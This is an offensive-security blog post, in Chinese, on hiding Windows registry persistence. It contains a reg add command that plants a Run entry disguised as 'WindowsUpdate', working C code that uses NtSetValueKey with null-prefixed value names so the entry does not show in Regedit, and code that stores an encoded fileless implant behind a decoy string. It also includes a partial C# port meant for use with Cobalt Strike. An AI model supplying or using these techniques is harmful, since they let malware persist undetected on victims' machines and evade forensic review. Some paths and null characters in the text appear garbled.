权限维持——注册表

 

文章中，所涉及的知识点，均可在互联网中可找到，之所以写这篇文章，是因为在预览这些知识点时，有不懂的地方，将其进行补全，整理成符合个人阅读习惯的文章。

 

0x00 前言

本文是讨论针对 Windows 注册表编辑器（Regedit）进行攻击测试的两个例子。这两个测试，是使用 WIndows Native API 对注册表进行创建、修改和删除等操作，这些操作，单纯的使用 Regedit 查询是查询不到的。

就对这些 “看不见” 的注册表 进行讨论：

• 常规的注册表驻守；
• ”隐藏“ 的注册表驻守；

 

0x01 常规持久性技术

最常见的是对注册表的自启动项进行添加修改，注册表位置如下：

HKEY_CURRENT_USER(HKEY_LOCAL_MACHINE)SoftwareMicrosoftWindowsCurrentVersionRun

常用命令：

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v WindowsUpdate /t REG_SZ /d "C:WindowsTempMicrosoft.exe arg1 arg2" /f

修改完成后，当 Windows 用户登陆 (HKEY_CURRENT_USER 或 HKEY_LOCAL_MACHINE) 时，会运行此键值。所以，将可执行文件路径添加到此 Run 键后，文件在系统重启后将被执行。

因为此键值是最常见的，所以也是大多数的安全厂商的重点关注对象，大多数的安全厂家都能够做到禁止添加和异常扫描。

当进行 rootkit 排查时，先查看此注册表键值的内容，可以非常简单的可获取恶意的可执行文件的位置。

 

0x02 相关 API

我们接下来查看相关 API ：

• RegOpenKeyExA – 打开指定的注册表项；
• NtSetValueKey – 创建或替换注册表键值项；
• ZwQueryValueKey – 读取注册表键值；
• NtDeleteValueKey – 删除注册表键值；
• RegCloseKey – 关闭指定注册表项的句柄。

如果使用 Native API ，则需要导入 ntdll.dll。

如果使用 Win32 API ，则需要导入 advapi32.dll。

2.1、RegOpenKeyExA

打开指定的注册表项。请注意，键名不区分大小写。要对键执行事务处理的注册表操作，请调用 RegOpenKeyTransacted 函数。

函数原型：

需要5个参数，我们只需要关注几个：

• hKey：打开的注册表项的句柄；
• lpSubKey：要打开的注册表子项的名称；
• phkResult：指向变量的指针，该变量接收打开的键的句柄。

如果成功打开，则返回 ERROR_SUCCESS。

2.2、NtSetValueKey

此函数用于创建或替换注册表键值项，函数原型为：

需要 6 个参数，我们只需要关注几个：

• KeyHandle：处理注册表项以为其写入值条目。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的；
• ValueName：指向要为其写入数据的值条目的名称的指针。
• Data：指向包含值条目数据的调用者分配的缓冲区的指针。

2.3、ZwQueryValueKey

该函数读取注册表键值。其原型为：

需要 6 个参数，我们只需要关注几个：

• KeyHandle：处理要从中读取值条目的键。该句柄是通过成功调用ZwCreateKey或ZwOpenKey创建的。
• ValueName：指向要获取其数据的值条目名称的指针。
• KeyValueInformationClass：类型。
• ResultLength：指向一个变量的指针，该变量接收 Key 信息的大小（以字节为单位）。

成功返回 STATUS_SUCCESS，失败则返回相应的错误代码。

注意： 如果在用户模式下调用此函数，则应使用名称“ NtQueryValueKey ”而不是 “ZwQueryValueKey ”。

 

0x03 隐藏的注册表

本小节是利用了 Regedit 的缺陷，创建了一个特殊的注册表项。由于这个特殊处理隐藏的注册表是使用 WIndows Native API进行的创建、删除，所以单纯的使用 Regedit 是查询不到的。这里并不是说用 API 进行创建就查询不到，而是这个特殊处理的注册表使用 Regedit 查询不到。

Ps：Win32 API 和 Native API 是有差别的。 以下内容是可实现隐藏注册表的根本原因：

在 Win32 API中，以 NULL结尾的字符串被解释为 ANSI（8位）或宽字符（16位）字符串。
在 Native API中，以 NULL结尾的字符串被解释为 Unicode（16位）字符串。

尽管平时这个区别并不重要，但是却带来了一个有趣的情况，举个例子：
    当使用 Native API来构造特别的名称时，不能使用 Win32 API来对其进行查询。这是因为作为计数的 Unicode 字符串的名称可以包含 NULL 字符（0），例如 “key”，这个 Unicode 字符串长度为 4，但是在使用 Win32 API 来进行查询，这是因为在 Win32 API 中，“key”字符串的长度为 3，不满足查询条件。

之所以 Regedit 看不到，是因为 Regedit 使用的是 Win32 API。

3.1、特殊的 ValueName

我们的注册表键值名称经过特殊构造： 以空字符 ”” 作为开头，后面加上任意字符。对于 Windows 系统，”” (0x0000)会被识别为字符串的结束符，所以在使用 Regedit 对该字符串读取的过程中，遇到开头的 ””，会被解析成结束符，提前截断，导致读取错误。

这个写入的值，在 Regedit 中是无法正常显示，但是在 Windows 系统重新启动时，它会正常执行。这涉及到内核调用机制，不在本文讨论范围内，简单过一下：

用户模式调用本机系统服务是通过 ntdll.dll 来实现的。
表面上，Win32 函数为编程人员提供了大量的 API 接口来实现功能，但这些 Win32 函数只不过是一个 API接口的容器而已，它将 Native API 包装起来，通过系统服务来实现真正的功能，也就是 ntdll.dll 是系统调用接口在用户模式下一个外壳。

所以不影响执行。来看看实现代码：

// HIDDEN_KEY_LENGTH doesn't matter as long as it is non-zero.
// Length is needed to delete the key
#define HIDDEN_KEY_LENGTH 11
void createHiddenRunKey(const WCHAR* runCmd) {
    LSTATUS openRet = 0;
    NTSTATUS setRet = 0;
    HKEY hkResult = NULL; 
    UNICODE_STRING ValueName = { 0 };
    wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
    wchar_t runkeyPath_trick[0x100] = L"Run";

    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    NtSetValueKey = (_NtSetValueKey)GetProcAddress(hNtdll, "NtSetValueKey");

    ValueName.Buffer = runkeyPath_trick; 
    ValueName.Length = 2 * HIDDEN_KEY_LENGTH; 
    ValueName.MaximumLength = 0;

    if (!(openRet = RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult))) {
        if (!(setRet = NtSetValueKey(hkResult, &ValueName, 0, REG_SZ, (PVOID)runCmd, wcslen(runCmd) * 2))){
            printf("SUCCESS setting hidden run value!n");
        }else{
            printf("FAILURE setting hidden run value! (setRet == 0x%X, GLE() == %d)n", setRet, GetLastError()); RegCloseKey(hkResult);
        }
    } 
    else {
        printf("FAILURE opening RUN key in registry! (openRet == 0x%X, GLE() == %d)n", openRet, GetLastError()); 
    }
}

void deleteHiddenRunKey() {
    UNICODE_STRING ValueName = { 0 };
    wchar_t runkeyPath[0x100] = L"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
    wchar_t runkeyPath_trick[0x100] = L"Run";

    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
    NtDeleteValueKey = (_NtDeleteValueKey)GetProcAddress(hNtdll, "NtDeleteValueKey");

    ValueName.Buffer = runkeyPath_trick;
    ValueName.Length = 2 * HIDDEN_KEY_LENGTH; //this value doesn't matter as long as it is non-zero
    ValueName.MaximumLength = 0;

    HKEY hkResult = NULL;
    if (!RegOpenKeyExW(HKEY_CURRENT_USER, runkeyPath, 0, KEY_SET_VALUE, &hkResult)) {
        if (!NtDeleteValueKey(hkResult, &ValueName)) {
            printf("SUCCESS deleting hidden run value in registry!n");
        }
        RegCloseKey(hkResult);
    }
}

先看看 createHiddenRunKey：

• 首先是打开 HKEY_CURRENT_USER + runkeyPath 的句柄；
• 将句柄传递给NtSetValueKey ，而NtSetValueKey传递的是 UNICODE_STRING ValueName ；
• ValueName.Buffer 正常情况下是设置为: Run ；
• 但是我们这里在前面加了一个或多个空值WCHAR("") ，构造特殊的注册表；
• 所以 ValueName.Buffer 应该是设置为:Run 。

而 deleteHiddenRunKey 就更加简单了

• 调用 NtDeleteValueKey 将指定键值删除。

编译运行。

HiddenRunKey.exe action=create keyvalue="C:WindowsSystem32calc.exe"

打开注册表进行对此键值进行查询时，则会弹窗提示错误。

点击确定后，内容还是之前的，新添加的内容已经成功隐藏。如果使用导出功能，也是提示错误。

同样，点击确定之后，导出的内容没有刚刚添加的内容。至此，添加的注册表已经成功隐藏，就 看不见 了。重启起效。

当然，期间也会出现一些小问题，比如有时候添加的注册表无法使用NtDeleteValueKey 进行删除，也懒得查找原因了，直接删除 Run（这个表项删除后会自建）。

最后，为了方便配合 Cobalt Strike使用，用 C# 重写以上代码（此重写代码多数取之 SharpHide – 之所以只是多数，是因为我在测试时，发现无论创建什么键值，都会提示错误），但是到 NtQueryValueKey 就中断了，因各种调试出错，而且当前互联网中几乎没找到有关于它的任何信息，唯一可借鉴的地方是 NtQueryValueKey.ps1。（希望有人能将下面的代码补全）

[DllImport("ntdll.dll")]
static extern int NtQueryValueKey(
    UIntPtr KeyHandle,
      IntPtr ValueName,
     KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
      IntPtr KeyValueInformation,
     UInt32 length,
     out UInt32 ResultLength
);

[StructLayout(LayoutKind.Sequential)]
public struct KEY_VALUE_FULL_INFORMATION
{
    public UInt32 TitleIndex;
    public UInt32 Type;
    public UInt32 DataOffset;
    public UInt32 DataLength;
    public UInt32 NameLength;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    public char[] Name;
}

Status = NtQueryValueKey(regKeyHandle, ValueNamePtr, KeyValueFullInformation, 0, keyBuffer, out keyBuffer);

效果图：

3.2、特殊的 ValueData

第一种隐藏技术，是针对 ValueName 做的处理。本小节使用的是 Fileless Malware 技术，是有效的针对ValueData 的内容进行处理。

这里使用的是 Fileless Malware 技术，但是在查看键值时，也会像第一种技术一样会提示错误，但是除了指定的可见字符外，会将其他内容进行隐藏。与第一种技术一致，该内容无法导出。

// this writes the binary buffer of the encoded implant to the registry as a sting
// according to winnt.h, REG_SZ is "Unicode nul terminated string"
// When the value is exported, only part of the value will actually be exported.

char decoy[] = "(value not set)";


....

void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName) {
    HKEY hkResult = NULL;
    BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
    strcpy((char*)buf2, decoy);
    buf2[strlen(decoy)] = 0;
    memcpy(buf2 + strlen(decoy) + 1, buf, buflen);

    if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
    {
        printf("Key opened!n");
        LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
        printf("lStatus == %dn", lStatus);
        RegCloseKey(hkResult);
    }
    free(buf2);
}

void readHiddenBuf(BYTE **buf, DWORD *buflen, const char *decoy, char * keyName, const char* valueName) {
    HKEY hkResult = NULL;
    LONG nError = RegOpenKeyExA(HKEY_CURRENT_USER, keyName, NULL, KEY_ALL_ACCESS, &hkResult);
    RegQueryValueExA(hkResult, valueName, NULL, NULL, NULL, buflen);
    *buf = (BYTE*)malloc(*buflen);
    RegQueryValueExA(hkResult, valueName, NULL, NULL, *buf, buflen);
    RegCloseKey(hkResult);
    *buflen -= (strlen(decoy) + 1);
    BYTE *buf2 = (BYTE*)malloc(*buflen);
    memcpy(buf2, *buf + strlen(decoy) + 1, *buflen);
    free(*buf);
    *buf = buf2;
}

先看看 writeHiddenBuf

• 将 decoy 设置成 (value not set)
• 然后将我们利用Fileless Malware 处理过的 buffer 放在 (value not set)后面
• 通过 3.1 小节 可知，Regedit 会自动截断，达到隐藏的效果​

只要 RegSetValueExA 传递的 decoy 字符串的长度+隐藏缓冲区的长度，它将把整个缓冲区写入注册表，达到隐藏效果。

 

0x04 参考

InvisibleRegValues_Whitepaper.pdf

渗透技巧——“隐藏”注册表的创建

Hiding Registry keys with PSReflec

SharpHide

Hidden Registry Keys